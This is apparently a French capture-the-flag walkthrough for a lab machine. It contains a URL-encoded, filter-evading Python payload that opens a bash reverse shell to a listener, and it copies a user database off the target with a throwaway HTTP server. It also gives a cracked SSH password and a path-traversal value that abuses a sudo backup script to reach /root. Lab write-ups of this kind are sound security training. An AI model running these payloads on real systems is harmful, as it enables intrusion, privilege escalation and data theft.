Un service Python gunicorn tourne sur le port 5000. En y accédant, on découvre un interpréteur Python filtrant certaines chaînes. En analysant la technologie utilisée, on identifie Ace 1.4.12, une version vulnérable permettant l’exécution de code arbitraire (RCE).
Depuis un forum, on récupère un payload encodé :
module%20%3d%20globals()%5b'o'%2b's'%5d%0acommand%20%3d%20getattr(module%2c%20'sy'%2b'stem')%0acommand('bash%20-c%20%22bash%20-i%20%3e%26%20%2fdev%2ftcp%2f[ip]%2f9001%200%3e%261%22')
Intercepter la requête du bouton "Run" dans Burp Suite, remplacer la variable code par ce payload, et lancer un nc -lvnp 9001 en écoute. Une fois la connexion établie, on obtient le flag utilisateur.
On découvre une base dans /home/app-production/app/instance/database.db. Sur la machine cible :
python3 -m http.server
Sur notre machine :
wget http://IP:8000/database.db
On ouvre la base avec SQLite Browser. Dans la table users, on trouve deux utilisateurs : development et martin. Le hash de martin est en MD5 :
martin : nafeelswordsmaster
Connexion SSH :
ssh martin@IP
Mot de passe : nafeelswordsmaster
On crée un fichier task.json :
cat > /home/martin/backups/task.json << EOF
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": true,
"directories_to_archive": [
"/var/....//root/"
]
}
EOF
Puis on exécute :
sudo /usr/bin/backy.sh /home/martin/backups/task.json
ls -l
wget http://IP:PORT/code_var_.._root_2025_March.tar.bz2
tar -xvjf code_home_martinbackups*.tar.bz2
cat root/root.txt
Thanks, Artemis Community 🛡️